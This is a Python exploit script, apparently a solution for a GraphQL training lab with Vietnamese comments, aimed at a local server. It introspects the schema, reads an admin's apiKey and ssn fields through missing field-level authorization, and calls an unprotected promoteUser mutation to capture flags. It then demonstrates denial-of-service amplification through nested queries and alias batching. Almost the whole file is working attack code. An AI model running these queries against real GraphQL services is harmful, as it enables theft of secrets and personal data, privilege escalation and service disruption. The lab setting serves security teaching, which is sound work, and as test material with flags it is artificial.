#!/usr/bin/env python3
"""
Exploit lab 9.2 - GraphQL.

  1. Introspection: tai schema, liet ke type/field va mutation ->
     phat hien field nhay cam apiKey, ssn va mutation promoteUser.
  2. Truy van thang field nhay cam apiKey cua admin -> lo flag
     (khong co field-level authorization).
  3. Goi mutation promoteUser bang client thuong -> flag (mutation
     khong kiem tra quyen).
  4. Minh hoa DoS: query long nhau (nested) va alias batching khuech dai.
"""
import sys
import requests

BASE = "http://127.0.0.1:8072"


def gql(query, variables=None):
    r = requests.post("%s/graphql" % BASE,
                      json={"query": query, "variables": variables or {}})
    return r.json()


def main():
    print("[*] Buoc 1: INTROSPECTION - tai schema")
    q_intro = """
    query {
      __schema {
        queryType { name }
        mutationType { name }
        types { name kind fields { name } }
      }
    }"""
    data = gql(q_intro)["data"]["__schema"]
    print("    queryType    = %s" % data["queryType"]["name"])
    print("    mutationType = %s" % data["mutationType"]["name"])
    user_type = next(t for t in data["types"] if t["name"] == "User")
    fields = [f["name"] for f in user_type["fields"]]
    print("    field cua type User: %s" % fields)
    sensitive = [f for f in fields if f in ("apiKey", "ssn")]
    print("    => phat hien field nhay cam: %s" % sensitive)
    mut = next(t for t in data["types"] if t["name"] == "Mutation")
    print("    => phat hien mutation: %s" % [f["name"] for f in mut["fields"]])

    print("\n[*] Buoc 2: truy van thang field nhay cam apiKey cua admin (id=1)")
    q = "query { user(id: \"1\") { username isAdmin apiKey ssn } }"
    u = gql(q)["data"]["user"]
    print("    user(1) = %s" % u)
    flag1 = u.get("apiKey", "")
    print("    [+] apiKey (flag) = %s" % flag1)

    print("\n[*] Buoc 3: goi mutation promoteUser bang client thuong (khong token admin)")
    m = "mutation { promoteUser(id: \"2\") { ok message flag } }"
    res = gql(m)["data"]["promoteUser"]
    print("    %s" % res)
    flag2 = res.get("flag", "")

    print("\n[*] Buoc 4: DoS - query long nhau (author <-> posts) va alias batching")
    nested = """query {
      posts {
        author { posts { author { posts { author { username } } } } }
      }
    }"""
    r = gql(nested)
    depth_ok = r.get("data") is not None and r.get("errors") is None
    print("    query long 5 tang chay duoc, khong bi chan depth: %s" % depth_ok)
    aliases = " ".join("a%d: user(id: \"1\"){ apiKey }" % i for i in range(12))
    batch_q = "query { %s }" % aliases
    rb = gql(batch_q)
    naliases = len(rb.get("data", {}) or {})
    print("    alias batching: 1 request lay %d lan field dat tien (apiKey)" % naliases)
    print("    => khong gioi han do sau/so luong => khuech dai chi phi, de DoS")

    ok = flag1.startswith("FLAG{") and flag2.startswith("FLAG{") and depth_ok
    print("\n[+] Introspection flag: %s" % flag1)
    print("[+] Mutation flag:      %s" % flag2)
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()
